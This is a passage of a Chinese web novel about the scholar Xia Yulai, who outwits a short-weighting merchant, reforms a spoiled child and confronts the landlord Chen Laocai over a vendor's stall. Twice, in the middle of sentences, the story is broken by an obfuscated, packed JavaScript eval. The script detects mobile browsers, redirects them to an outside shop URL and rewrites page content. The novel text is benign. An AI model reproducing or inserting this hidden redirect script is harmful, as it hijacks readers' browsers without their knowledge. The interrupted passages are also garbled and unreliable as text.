“诸位街坊,今日小生用谐音断案,只为立一条规矩:柴米油盐,是百姓的活命根;秤平斗满,是商家的立身本。短秤一两,亏心一寸;克扣一斤,亏德一尺。你克扣百姓的柴米,百姓就寒心;你给足百姓斤两,百姓就捧你场。” 他看向吴算盘,语气放缓,给最后一个台阶:“吴老板,今日小生不砸你的店,不毁你的秤,也不送你见官。只希望你记住:** 做生意,先做人;算盘算,先算心。别再做‘亏心算盘’,要做‘公平算盘’。你若再犯,下次我就不是用谐音讲道理了,我会让全城百姓都知道,你吴记是‘克扣店’,让你一粒米都卖不出去。” 吴算盘面红耳赤,羞愧难当,连连点头:“我记住了…… 我再也不敢了…… 以后一定足斤足两……” 夏雨来对着众人拱手一笑:“诸位,以后再遇短秤克扣、缺斤少两,不必忍气吞声,不必哭闹争辩,只管喊我夏雨来。我用道理,用谐音,用公道,帮大家把亏掉的柴米,一文不少、一分不差,全部讨回来!” 百姓爆发出雷鸣般的掌声与欢呼! “鬼才秀才!侠义无双!”“谐音断案,太妙了!”“以后我们买柴米,再也不怕被克扣了!” 晨光越升越高,照在青石板路上,暖洋洋一片。吴算盘垂头丧气,回到店里,默默把鬼秤收了,换上一杆真正的公平秤。从此,他再也不敢短秤克扣,吴记柴米店,终于规规矩矩做起了生意。 阿翠端着热茶走过来,眼睛亮晶晶的,满眼崇拜:“夏雨来,你真是个奇人。别人斗奸商,靠吵靠闹靠告状;你斗奸商,靠嘴、靠理、靠谐音。三句话,两个字,就让滚刀肉乖乖补足米,还立下规矩。” 夏雨来接过茶,仰头喝尽,笑道:“不是我奇,是市井百姓最听公道,奸商滑头最怕脸面。我不过是把他们最怕的、最在意的,用最诙谐的方式说出来而已。” 他望向眼前热热闹闹、平平安安的街市,眼神清澈而坚定: “阿翠娘子,你看。地痞可治,骗子可拆,奸商可服,纷争可解。 我不要功名,不要利禄,只要这潮州城的市井里,百姓的柴米足,秤斗平,人心安,就够了。” 风一吹,青布长衫轻扬。穷秀才的身影,在晨光里,挺拔如竹,安稳如山。 自此,夏雨来 “谐音断柴米、巧斗吴算盘” 的故事,传遍潮州城。百姓都说:“夏秀才,一张嘴,谐音一出口,奸商就发抖,百姓不亏米,市井有公道。” 而鬼才秀才夏雨来的市井侠义传奇,仍在继续,从未停歇。 14. 顽童闹街 一、晨光闹市,小魔扰邻 暮春时节的潮州城,日头暖和得正好,风里带着草木清香与街市烟火,吹得人浑身舒坦。东门街经过夏雨来连日整治,地痞退散、奸商收敛、骗子绝迹,一派安稳平和。小贩安心摆摊,行人从容购物,连孩童的嬉闹声,都透着踏实自在。 夏雨来依旧是那件洗得发白的青布长衫,背着旧书箱,清晨先到阿翠茶摊喝一碗热茶,再在街上慢悠悠闲逛。如今他走到哪里,哪里就多一分安稳,百姓见了他,无不拱手问好,一口一个 “夏秀才”,眼神里满是敬重。 “夏雨来,今日天气晴好,后街私塾的孩子们都出来玩耍了,你不去看看?” 阿翠笑着递上热茶,眼尾带着几分无奈,“不过你可得小心点,陈老财家那个小孙子陈小宝,最近可是闹得越来越凶,整条街都被他搅得鸡飞狗跳。” 夏雨来接过茶碗,指尖一暖,仰头抿了一口,眉头微挑:“陈小宝?就是那个被宠得无法无天、整日在街市上捣乱的富家顽童?” “正是他。” 阿翠叹了口气,压低声音,“家里有钱有势,爹娘不管,爷爷陈老财更是宠上天,要什么给什么,犯了错有人兜底,谁也不敢管。这几日天天在街上横冲直撞,踢翻菜筐、推倒小贩、扔石子吓哭小孩,连王伯的菜摊都被他踹翻过两回,百姓敢怒不敢言,只能躲着走。” 夏雨来闻言,眼底闪过一丝玩味。 恶霸他斗过,奸商他拆过,骗子他赶过,恶奴他治过,如今轮到被宠坏的富家顽童。 孩子作恶,不同于大人行凶。打不得,骂不得,关不得,罚不得。硬管,会被骂 “欺负小孩”;不管,百姓受扰,街市不宁。 夏雨来嘴角勾起一抹狡黠的笑:“孩子顽劣,不是坏,是没人教。别人不敢管,是怕得罪陈老财;我夏雨来管,不管他是谁家孙子,只教他做人道理。不打不骂,我自有巧法,让他知错、认错、改错。” “你可别大意。” 阿翠叮嘱,“那孩子被宠得蛮不讲理,撒泼打滚样样来,陈老财又护短,万一闹到陈老财面前,你又要多一桩麻烦。” “麻烦怕什么。” 夏雨来负手而立,语气轻松诙谐,“市井安稳,不分大人小孩;公道人心,不分富贵贫贱。小孩子若是从小横行霸道,长大岂不变成恶霸?今日我不教他,日后自然有人教他。我不过是提前帮街坊、帮陈家,立点规矩罢了。” 说罢,他放下茶碗,拱手一笑,长衫一摆,慢悠悠向后街街市走去。 二、顽童横行,街市遭殃 后街本是小贩集中、百姓买菜购物的热闹地方,此刻却乱成一团。 只见一个约莫七八岁的孩童,穿着锦缎小袄,头戴小瓜皮帽,长得粉雕玉琢,眼神却骄横跋扈,正站在街中央,肆意捣乱。 正是陈老财的宝贝孙子 ——陈小宝。 他身边跟着两个跟班小厮,大气都不敢喘,只能小心翼翼跟着,生怕小祖宗出事。 陈小宝手里拿着一根细竹枝,一会儿冲过去踢翻路边的菜筐,绿油油的青菜撒了一地;一会儿冲过去推倒小贩的小板凳,吓得妇人连忙护住孩子;一会儿捡起地上的小石子,朝着路过的行人扔去,嘴里还喊着:“打你!打你!” 一个卖糖画的老师傅,刚做好一只糖兔子,就被陈小宝一竹枝扫落在地,摔得粉碎。 老师傅心疼得直跺脚:“小少爷,你怎么能这样啊!这是我辛辛苦苦做的……” “我就摔!我就摔!” 陈小宝叉着腰,仰着头,骄横跋扈,“你能拿我怎么样?我爷爷是陈老财,我家有的是钱,砸坏你多少,赔你多少!” “你…… 你……” 老师傅气得说不出话,却又不敢得罪,只能忍气吞声。 不远处,一个几岁大的小娃娃被他吓得哇哇大哭,母亲连忙抱着孩子躲到一边,敢怒不敢言。 王伯的菜摊前,刚摆好的一筐萝卜,又被陈小宝一脚踹翻,萝卜滚得满街都是。老人心疼得直流泪,却只能默默弯腰捡拾。 周围百姓围在一旁,个个气愤不已,却没人敢上前阻拦。 谁都知道,陈小宝是陈老财的命根子,得罪了小的,老的就会出来报复。轻则被刁难,重则摊位被砸,谁也不愿惹祸上身。 “这孩子也太无法无天了!”“再这么宠下去,迟早要闯出大祸!”“唉,有钱有势就是好,孩子都能横行霸道!”“谁能管管他啊,再这样下去,街市都没法呆了!” 百姓的议论声低低的,满是无奈与憋屈。 陈小宝听到百姓的议论,非但不收敛,反倒更加嚣张,拿着竹枝,朝着人群挥舞:“我就闹!我就捣乱!你们管不着!谁管我,我就让爷爷打谁!” 他一边喊,一边朝着街口冲去,眼看就要撞到一个提着篮子的老婆婆。 就在这千钧一发、所有人都心惊胆战的一刻 —— 一个清亮、温和、不带半分火气,却格外有力量的声音,从街口慢悠悠飘了过来,像一阵清风,轻轻按住了这匹脱缰的小野马: “哎呀呀 —— 这位小英雄,好威风啊!手持长枪(竹枝),横扫街市,踢翻菜筐,吓哭娃娃,真是天下第一小好汉!小生平生未见,实在佩服!” 声音不大,却字字清晰,入耳舒服,不刺耳、不呛人,却偏偏让喧闹的场面,瞬间一静。 所有人同时循声望去。 只见街口,青布长衫的书生负手而立,眉眼弯弯,嘴角噙笑,一双眼睛亮得能看透人心,从容不迫,缓步走来。 正是夏雨来。 三、秀才登场,不怒自威 陈小宝正闹得得意忘形,突然被人打断,还被一顿猛夸,顿时愣在原地,停下脚步,转头看向夏雨来。 他长这么大,所有人要么怕他,要么骂他,要么躲他,从来没有人这么夸他 “威风”“好汉”“英雄”。 小孩子心性,最吃夸,最吃捧,最吃 “给面子”。 陈小宝的骄横气焰,瞬间消了大半,手里的竹枝也垂了下来,好奇地打量着夏雨来:“你是谁?你也怕我吗?” 夏雨来缓步走到街中央,站在陈小宝面前,不靠近、不逼迫、不训斥,保持一步距离,正好让孩子有安全感,又不失分寸。 他蹲下身,与陈小宝平视,脸上笑容温和,眼神干净,没有半分轻视、厌恶、训斥,只有平等与尊重。 “小英雄,小生夏雨来,一介秀才。” 夏雨来拱手一揖,动作斯文,语气恭敬,“别人都怕你,我不怕你;别人都骂你,我不骂你。我看你身手矫健,胆量过人,是个做英雄的好料子,所以特意过来,跟你交个朋友。” “交朋友?” 陈小宝眼睛一亮,瞬间来了兴趣。 他从小被宠坏,骄横跋扈,别的孩子都不敢跟他玩,下人也只是顺着他,他从来没有真正的朋友。 此刻眼前这个秀才哥哥,不骂他,不打他,不怕他,还要跟他交朋友,还夸他是英雄,陈小宝心里瞬间生出一股从未有过的好感。 “你真的要跟我交朋友?” 陈小宝半信半疑,语气却软了很多。 “千真万确。” 夏雨来重重点头,语气无比真诚,“英雄配英雄,我是秀才,你是小英雄,咱们正好做一对好朋友。以后你在街上玩,我陪着你;你想做大事,我帮你出主意,好不好?” “好!好!” 陈小宝立刻拍手叫好,骄横之气一扫而空,只剩下孩童的天真与欢喜。 周围百姓全都看呆了。 谁也没想到,夏雨来对付这个无法无天的顽童,第一招不是训斥,不是阻拦,而是交朋友、戴高帽、给面子。 阿翠站在不远处,看得暗暗点头:这才是夏雨来的本事,对症下药,直击人心。 夏雨来见第一步奏效,立刻趁热打铁,语气依旧温和,却不动声色地引导: “小英雄,既然咱们是朋友,我得问问你,你在街上这么威风,到底在做什么大事啊?是在保家卫国,还是在为民除害,还是在做好事呀?” 陈小宝一愣,挠了挠头,有点不好意思:“我…… 我就是玩……” “玩?” 夏雨来故作惊讶,睁大双眼,“英雄怎么能玩呢?英雄都是做大事的!你看那戏文里的英雄,都是扶危济困、保护弱小、帮助别人,所以大家都敬他、爱他、夸他。小英雄,你想做大家都夸的真英雄,还是做只会捣乱的小顽童啊?” 一句话,戳中孩子心底最渴望的东西 ——被认可、被夸奖、被崇拜。 陈小宝小脸一红,低下头,手里的竹枝也扔在了地上,声音小小的:“我想做真英雄…… 可是我不知道怎么做……” “不知道没关系,我教你啊!” 夏雨来一拍手,笑得狡黠又温和,“从今天起,我教你做真英雄,做一件大好事,让整条街的百姓都夸你、敬你、喜欢你,好不好?” “好!我要做!” 陈小宝立刻抬头,眼神亮晶晶的,充满期待。 四、巧设游戏,以玩施教 夏雨来见状,心中暗笑。 对付顽劣孩童,最忌讳硬碰硬、大道理、训斥打骂。最好的办法,就是把道理变成游戏,把规矩变成奖励,把改错变成立功。 他站起身,指着地上被陈小宝踢翻的菜筐、摔碎的糖画、散落一地的萝卜,语气清亮,像在宣布一个好玩的游戏: “小英雄,你看,地上这些菜筐、萝卜、糖画,都是被你‘打败’的。现在,咱们的英雄任务,就是把它们全部扶起来、捡起来、修好,把街市变回干干净净、整整齐齐的样子。 这叫‘英雄扫街’,是天下第一等的大好事!你完成任务,整条街的百姓都会给你鼓掌,都会喊你‘陈英雄’,你说威风不威风?” “威风!太威风了!” 陈小宝立刻兴奋得跳了起来,“我现在就做!我要当英雄!” 他二话不说,立刻跑到王伯的菜摊前,弯腰捡起地上的萝卜,往筐里放。他从小娇生惯养,从来没干过活,小手笨笨的,却格外认真,额头上很快冒出细汗,也不喊累。 夏雨来站在一旁,轻轻指点,不催促、不指责、不嫌弃,只是时不时夸一句: “好样的!英雄就是有力气!”“太棒了!捡得真干净!”“厉害!比戏文里的英雄还能干!” 每一句夸奖,都让陈小宝更有干劲。 周围百姓看呆了,随即爆发出压抑已久的笑意与赞叹。 “天啊!这小魔王居然真的在干活!”“夏秀才太神了!一句话就让他变乖了!”“这哪是管孩子,这是驯小英雄啊!” 王伯看着陈小宝认真捡萝卜的样子,又心疼又好笑,连忙说:“小少爷,不用你捡,不用你捡……” “不行!” 陈小宝头也不抬,一本正经,“我是英雄,我要做好事!我要把街市收拾干净!” 老人瞬间红了眼眶,连连点头:“好!好!英雄!真是好孩子!” 夏雨来又走到糖画老师傅面前,轻声交代几句。老师傅立刻心领神会,重新熔糖,飞快地做了一只崭新的、更大更漂亮的糖兔子。 等陈小宝把所有东西都收拾干净,满头大汗地站到夏雨来面前时,夏雨来接过糖兔子,递到他手里,朗声对着所有百姓喊道: “诸位街坊乡亲!今日陈小宝小英雄,知错就改,亲手把街市收拾干净,为民除扰,为民做好事!大家一起鼓掌,为我们的小英雄喝彩!” “好!” “啪啪啪啪 ——” 掌声雷动,响彻后街。 百姓们真心实意地鼓掌,眼神里不再是厌恶、害怕,而是喜爱、赞许、温柔。 陈小宝手里捧着糖兔子,听着满街掌声,看着所有人赞许的目 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17446909|201103||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光,小脸涨得通红,眼睛亮晶晶的,嘴角咧得大大的,露出孩童最纯真、最开心的笑容。 这是他长这么大,第一次被这么多人夸奖、认可、喜欢。 他终于明白:捣乱,没人喜欢;做好事,才是真英雄。 五、一语点醒,顽劣归心 夏雨来见时机成熟,蹲下身,轻轻擦去陈小宝额头上的汗水,语气温和,像大哥哥一样,轻声讲道理: “小宝,现在知道了吧?踢翻菜筐,吓哭娃娃,大家都怕你、讨厌你,那不是威风,是捣蛋;扶起菜筐,帮助别人,大家都夸你、喜欢你,那才是真英雄、真威风。 以后在街上,看到老人,扶一把;看到小摊倒了,帮一把;看到小孩哭了,哄一哄。这样,你走到哪里,都是人人喜欢的小英雄,好不好?” 陈小宝用力点头,小脑袋像捣蒜一样,声音无比认真、无比坚定: “好!我记住了!以后我不捣乱了!我要做英雄!我要帮大家!” 夏雨来笑着摸了摸他的头:“这才是陈家的好孙子,才是真正的小英雄。” 他站起身,对着周围百姓拱手一笑:“诸位乡亲,小孩子顽劣,是天性,不是坏心。以后小宝再犯错,大家只管告诉我,我来教他,不要怪他,好不好?” 百姓们齐声应道:“好!” “夏秀才说得对!孩子嘛,教好了就是好孩子!”“小宝以后就是小英雄,我们都喜欢你!” 陈小宝听着,笑得更开心了,主动跑到王伯面前,鞠了一个躬,奶声奶气地说:“王伯,对不起,我以后再也不踢你的菜摊了,我帮你摆菜。” 王伯笑得合不拢嘴:“好!好!好孩子!” 他又跑到糖画老师傅面前,鞠了一躬:“老师傅,对不起,我以后再也不摔你的糖画了,我买糖画吃。” 老师傅哈哈大笑:“好!以后我给你做最大的糖画!” 短短一刻工夫,那个横行街市、无法无天的小魔王,变成了懂礼貌、知错就改、乐于助人的小英雄。 夏雨来站在一旁,看着这一幕,眼底满是温和与欣慰。 他心里清楚:孩子从来不是坏,只是缺引导、缺认可、缺正确的价值观。你把他当恶魔,他就变成恶魔;你把他当英雄,他就变成英雄。 这,才是真正的教化。 六、市井传佳话,顽童变榜样 闹剧平息,街市重归安稳热闹。 百姓们围拢上来,对着夏雨来拱手作揖,称赞不绝:“夏秀才,你真是神人!不打不骂,不训不罚,就把那个无法无天的小魔王,教得服服帖帖!”“我们都不敢管的孩子,你几句话就搞定了,这才是真本事!”“以后有你在,我们再也不怕顽童捣乱了!” 夏雨来笑着摆手:“诸位过奖了。不是我本事大,是孩子本性不坏,只是没人教。小孩子就像小树苗,你顺着他、引导他、扶着他,他就长成参天大树;你不管他、惯着他、纵容他,他就长歪长斜。今日之事,是小宝自己懂事,不是我的功劳。” 陈小宝跑到夏雨来身边,紧紧拉着他的衣角,仰着头,眼神无比崇拜:“夏雨来哥哥,你以后天天教我做英雄好不好?我要跟你一起做好事!” 夏雨来笑着点头:“好!只要你乖乖听话,多做好事,不捣乱,我天天教你。” “好!” 陈小宝大声答应。 从此以后,潮州城东门街出现了一道奇特又温暖的风景:曾经横行霸道的富家顽童陈小宝,天天跟在夏雨来身后,在街上帮忙扶摊位、帮老人拎东西、帮小孩捡玩具,成了街市上名副其实的 “小英雄”“小帮手”。 百姓们再也不躲他、怕他,反而个个喜欢他、疼他、夸他。 陈老财听说这件事后,又惊又喜,亲自带着礼物来感谢夏雨来。 他看着夏雨来,眼神复杂,却又无比敬佩:“夏秀才,多谢你。我陈某宠坏了孙子,你却不计前嫌,耐心教导,让他改邪归正。这份恩情,陈某记住了。” 夏雨来拱手一笑:“陈老爷言重了。孩子无罪,教化为本。小宝本性纯良,只是缺人引导。以后您多教他行善做好事,他定会成为陈家的好儿孙,也会成为街市的好榜样。” 陈老财重重点头,从此对夏雨来再无怨恨,多了几分敬佩。 自此,夏雨来 “不打不骂巧教顽童” 的故事,传遍潮州城,成为市井百姓口中津津乐道的又一段佳话。 百姓都说:“夏秀才,真是文武双全,斗恶霸,嘴不软,教孩子,心不硬,一张嘴,安市井,一颗心,暖人心。” 七、侠心不改,市井长安 夕阳西下,余晖洒满潮州城东门街,青石板路被染成温暖的金黄色。 夏雨来送走陈小宝,背着旧书箱,慢悠悠走在街市上。百姓们的笑脸、安稳的叫卖声、孩童的嬉闹声,汇成最动人的市井烟火。 阿翠端着一碗热茶走过来,眼睛亮晶晶的,满眼都是崇拜:“夏雨来,你真是我见过最厉害的人。恶霸被你治服,奸商被你拆穿,骗子被你赶走,连最顽劣的孩子,都被你教成了小英雄。你这一肚子智慧,到底是怎么来的?” 夏雨来接过茶碗,仰头喝尽,笑道:“我没有什么大智慧,我只懂一句话:恶,要以理服;顽,要以心教;强,不欺弱;富,不压贫。恶霸也好,顽童也罢,只要心里还有良知,还有向善的念头,就能被引导,被教化。 我不要功名,不要利禄,不要权势。我只要这潮州城的市井里:大人不欺,小孩不闹,小贩安稳,百姓平安。这,就是我一生所愿。” 风一吹,他的青布长衫轻轻摆动。穷秀才的身影,在夕阳余晖里,挺拔如竹,温暖如山。 街市长安,人心安稳,侠名流传。 而鬼才秀才夏雨来的市井侠义传奇,仍在继续,从未停歇。 15. 初斗老财 一、长街风起,劣绅临门 暮春的潮州城,日头一升,整条东门街就浸在暖洋洋的烟火气里。经过夏雨来一连十余场公道撑腰,地痞不敢横行,奸商不敢短秤,恶奴不敢欺市,连顽劣如陈小宝,都成了街上见人就问好、见摊就帮忙的小英雄。市井安稳,人心舒坦,连风掠过青石板的样子,都显得格外温顺。 夏雨来依旧是那身洗得发白的青布长衫,背着那只旧书箱,清晨先踱到阿翠的茶摊,喝一碗滚热清茶,再慢悠悠沿街巡视一圈。如今他走在街上,不必开口,只要身影一现,街市便多三分安定,小贩多七分底气。 “夏雨来,你如今可是咱们东门街的活门神了。” 阿翠将茶碗递到他手上,眼尾含笑,却又轻轻一叹,“只是…… 树大招风。你接连拆了他陈府多少局面,赶了胡三,破了高利贷,治了他孙子,陈老财那头,怕是早就恨得牙根发痒。” 夏雨来指尖摩挲着瓷碗边缘,笑意淡了几分,眼底却亮得清澈:“阿翠娘子,你说得没错。我不惹事,可也从不怕事。他陈老财有钱有势,是潮州乡绅;我夏雨来无官无爵,是一介秀才。可市井公道,从来不在金银权势,而在人心是非。他若安分守己,我敬他一声乡绅;他若再欺压小贩、强占街市,我便再替百姓,跟他‘理论理论’。” 话刚落地,街东头忽然传来一阵反常的静。 不是安宁,是压抑。是小贩收声、行人屏息、连吆喝都卡在喉咙里的那种静。 夏雨来抬眼望去,只见街口缓缓行来一行人。前头两个家丁开路,横眉竖眼,挥手便赶路人;中间一抬青布小轿,轿身描金绣银,气派十足;轿旁跟着管家周福,面色阴鸷,一路点头哈腰。 来者不是别人,正是潮州城头号劣绅 ——陈老财。 他终于亲自出马了。 夏雨来放下茶碗,长衫一拂,缓缓站直身子。该来的,终究来了。这是他与陈老财,第一次真正意义上的正面交锋。 二、强占摊位,小贩泣血 陈老财的轿子在街市最旺的口停下。管家周福上前一步,掀开轿帘,弓腰扶出一位身穿锦缎长衫、面容富态、眼神阴鸷的老者。老者面色沉冷,目光扫过街市,所到之处,百姓纷纷低头避让,连大气都不敢喘。 他一眼看中街口最显眼、人流量最大的一个摊位。 摊主是个叫阿木的年轻小贩,二十出头,老实木讷,父母早亡,独自一人靠卖手工竹器、竹篮、竹席谋生,摊位虽小,却是他全部生计。 周福上前,一脚便踢翻了阿木摆好的竹篮。竹篮滚了一地,细竹条散落青石板,被过往行人一踩,当即断了好几根。 “喂,穷小子。” 周福趾高气扬,“这地方,我家老爷看中了。限你一炷香之内,把你这些破烂收拾干净,滚出这条街。往后,这地方就是我家老爷开绸缎庄的宝地。” 阿木一下子慌了,扑上去捡竹篮,手指被竹条划破,渗出血珠,也浑然不觉:“周管家…… 这摊位是官府划定的,我天天在这里摆摊,我…… 我就靠这个活命啊……” “活命?” 周福冷笑,“在潮州城,我家老爷让你活,你才能活;我家老爷让你滚,你就不能留。识相点,自己滚;不识相,我叫人把你摊子砸烂,把你打断腿扔出去。” 阿木吓得浑身发抖,却依旧死死护着剩下的竹席,眼泪在眼眶里打转:“我不搬…… 这是我的饭碗…… 你们不能这么不讲理……” “不讲理?” 轿旁的陈老财缓缓开口,声音不高,却带着一股压人的威势。他眯着眼,上下打量阿木,像在看一只蝼蚁:“在这东门街,在这潮州城,老夫说的话,就是理;老夫要的地,就是规矩。你一个穷小子,也配跟老夫讲讲理?” 一句话,定了生死。一句话,压了全城。 周围百姓围得越来越多,却一个个噤若寒蝉。谁都知道,陈老财心狠手辣,勾结官府,家大势大,得罪他,等于自寻死路。 “太霸道了……”“人家一个孤儿,就靠这点生意活命……”“可我们能有什么办法…… 人家是陈老财啊……” 低低的议论里,全是市井小民的无力与心酸。 阿木彻底绝望,双腿一软,“扑通” 一声跪倒在地,对着陈老财连连磕头:“陈老爷…… 求求您…… 我给您磕头了…… 您把摊位还给我…… 我不能没有它啊……” “磕头?” 陈老财嗤笑一声,眼神冷漠如冰,“你就算磕破头,这地方,也是老夫的。来人 ——”他抬手一挥,“给我把人拖走,把摊子清了!” 两个家丁立刻如狼似虎扑上去,抓住阿木的胳膊,就要往外拖。 阿木拼命挣扎,哭喊声响彻长街:“不要!我的摊子!我的活路!” 就在这千钧一发、百姓憋屈到极点、阿木即将被拖走的一刻 —— 一个清亮、从容、不带半分怯意,却字字如剑的声音,从人群前方,缓缓飘起: “陈老爷,久仰大名。只是学生有一事不明,想向老爷请教 ——潮州城的地界,是皇上的,是官府的,还是您陈府的私产?街市上的摊位,是百姓的活命路,还是您陈老爷的后花园?” 声音不大,却穿透所有压抑,清清楚楚落在每一个人耳中。 全场瞬间死寂。 所有人同时转头。 青布长衫,负手而立,旧书箱稳稳背在肩上,眉目平静,眼神清澈,没有半分畏惧,只有一身书生意气,稳稳站在街心,挡在了阿木与陈府家丁之间。 正是夏雨来。 他来了。正面,迎上了陈老财。 三、正面交锋,唇剑舌枪 陈老财数十年在潮州城横行,还从来没有人敢这样当众跟他说话。他猛地转头,阴鸷的目光,如刀子一般,射向夏雨来。 四目相对。一边是权钱加身、威压一方的老劣绅;一边是身无分文、心有正气的穷秀才。 空气仿佛瞬间凝固。 周福立刻上前,指着夏雨来厉声呵斥:“大胆狂生!竟敢对我家老爷无礼!你算个什么东西,也配跟我家老爷说话?” 夏雨来目光淡淡扫过周福,语气平静:“我是秀才夏雨来。一不犯法,二不违律,三不欺人。街市之上,论公道,讲事理,我为何不配?” 他收回目光,重新看向陈老财,微微一揖,礼数不失,气势不减:“学生夏雨来,见过陈老爷。” 礼数做足,道理立住。先礼后兵,无懈可击。 陈老财上下打量夏雨来,眼神阴鸷如鹰,缓缓开口:“你就是夏雨来?赶走我的家丁,拆我的高利贷,教好我的孙子,坏我好几桩事的,就是你?” 句句带刺,字字含恨。 夏雨来坦然点头,不躲不闪:“正是学生。不过学生有一言,要跟老爷说清楚:我没有赶谁,我只是赶横行霸道;我没有拆谁,我只是拆坑人陷阱;我没有教坏谁,我只是教孩童向善。我做的每一件事,都对得起天地良心,对得起市井百姓。” “好一张利口。” 陈老财冷笑,“老夫今日,就要占这个摊位,你待如何?” “老爷要占,可以。” 夏雨来平静开口,“只要老爷拿出三样东西,学生立刻帮老爷把摊子清了,绝无二话。” “哦?” 陈老财挑眉,“你倒说说看,哪三样。” 夏雨来伸出三根手指,声音清亮,传遍整条街: “第一,官府文书。盖着潮州府大印的文书,写明此地划归陈府,另给小贩安置之处。第二,合理补偿。阿木以此为生,老爷强占,必须给足安家营生之费,让他能活下去。第三,当众立据。写明缘由,签字画押,让全城百姓做证,不是强占,是公道置换。” 三条一出,百姓心中齐齐一振!说得太公道了!不蛮不讲理,不直接对抗,而是用规矩、用律法、用人心,把陈老财架在火上。 陈老财脸色一沉。官府文书?他不可能有。合理补偿?他一分钱都不想出。当众立据?那不等于承认自己强占? “一派胡言。” 陈老财厉声呵斥,“老夫做事,还要你来教?老夫说占,便是占了!你再敢多言,休怪老夫不客气!” “老爷想如何不客气?” 夏雨来半步不退,眼神清澈如镜,“是要叫人打我,还是要送官抓我?老爷尽管动手。只是今日,整条街百姓亲眼所见,亲耳所闻 ——陈老财倚仗权势,无凭无据,强占小贩摊位,欺压孤苦百姓。这话一旦传出去,老爷这‘乡绅’的名声,还要不要?官府知道了,百姓议论了,老爷这脸面,往哪儿搁?” 一句话,击中陈老财最大的死穴 ——好面子,惜名声。 他最在乎的,就是自己 “乡绅名士” 的假面具。一旦被当众钉在 “强占欺压” 的耻辱柱上,他在潮州城再也抬不起头。 陈老财脸色一阵青一阵白,气势明显被压了下去。 周福见状,连忙上前打圆场:“夏秀才,你别太过分!我家老爷乃是地方乡绅,体恤民情,只是想在此地建绸缎庄,繁荣街市……” “繁荣街市,可以。” 夏雨来立刻接话,语气铿锵,“但繁荣街市,不是踩碎小贩的饭碗;乡绅体恤,不是榨干百姓的活路。老爷若真为街市好,大可另择空地,官府自会划地;若只看中这块旺地,又不给补偿,又无文书,那不是繁荣,是强夺。” “你 ——” 周福气得语塞。 夏雨来趁热打铁,转向围观百姓,声音朗朗: “诸位街坊乡亲,大家都听着!今日之事,很简单:阿木,靠小摊活命;陈老爷,看中这块地。我们不反对老爷做生意,我们只要求一件事 ——占其地,安其身;夺其业,给其路!这,就是市井最朴素的公道!谁能说不对?” “说得对!”人群中,不知谁先喊了一声。 紧接着,压抑已久的百姓,终于爆发:“对!占其地,安其身!”“夺其业,给其路!”“夏秀才说得公道!” 呼声越来越大,越来越齐,气势排山倒海。 陈老财站在人群中央,被上百道目光盯着,被上百张嘴声讨,第一次感觉到 ——自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17446910|201103||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己不是一手遮天。百姓的心,不在他这边。 四、以名相挟,劣绅吃瘪 夏雨来见时机已到,重新看向陈老财,语气放缓,却依旧寸步不让,给了对方一个不得不下的台阶: “陈老爷,学生知道,您是大户人家,最看重名声体面。今日之事,传出去,别人不会说您威风,只会说您以强凌弱、以势压贫、与民争利。老爷一生积攒的名声,难道要为一个摊位,毁于一旦吗?” 他顿了顿,声音压低,却字字诛心: “学生给老爷留个体面:今日,摊位不动,阿木照旧摆摊。老爷若真想建绸缎庄,学生愿意陪老爷去官府,按规矩划地、按律法安置,绝不阻拦。如此,老爷保全名声,百姓保住活路,街市依旧太平。这,才是两全其美。” 软的硬的一起上,面子里子都点透。陈老财活了一辈子,如何听不明白? 他今日,是真的栽了。栽在一个穷秀才手里。栽在一张利口上。栽在人心公道上。 他死死盯着夏雨来,眼神阴鸷得能滴出水来,双拳紧握,指节发白,胸口剧烈起伏,显然已经怒到极点。 可他不敢发作。不敢动手,不敢强抢,不敢当众翻脸。 一旦发作,他那身 “乡绅” 皮,就彻底撕烂了。 良久,陈老财缓缓吐出一口气,声音冷得像冰: “夏雨来,老夫记住你了。” 夏雨来微微一揖,不卑不亢:“学生随时听候老爷教诲,只论公道,不论私怨。” 陈老财不再看他,猛地一甩衣袖,厉声对家丁道:“走!” 他转身就走,脚步极快,背影僵硬,再无半分来时的气派。 周福狠狠瞪了夏雨来一眼,也连忙跟上,狼狈不堪。 家丁们灰溜溜扶起轿子,抬起来就走,一路不敢回头。 刚才还威压长街、不可一世的陈老财一行人,就这样,在百姓的目光里,在夏雨来的面前,吃瘪离场,狼狈而去。 直到陈老财的身影彻底消失在街口,整条东门街,才爆发出山呼海啸般的欢呼与掌声! “赢了!我们赢了!”“夏秀才赢了!夏秀才正面斗赢陈老财了!”“太好了!阿木的摊位保住了!”“鬼才秀才,侠义无双!” 欢呼声、鼓掌声、叫好声,震得整条街都在颤动。 百姓们围了上来,对着夏雨来拱手作揖,眼神里满是敬佩、感激、崇拜。 阿木扑到夏雨来面前,“扑通” 一声跪倒,泣不成声:“夏秀才!您是我的救命恩人!我这辈子都忘不了您!” “快起来。” 夏雨来连忙扶起他,语气温和,“我不是救你,我是救公道。你靠手艺吃饭,堂堂正正,谁也不能抢你的饭碗。” 五、市井立威,侠名震天 阿翠端着热茶挤到夏雨来身边,眼眶微红,声音都在颤抖:“夏雨来,你知不知道刚才有多险…… 他是陈老财啊,你就真的不怕吗?” 夏雨来接过茶碗,指尖一暖,仰头喝下,笑道:“怕。我当然怕。我怕他权势大,我怕他手段阴,我怕他报复。可我更怕 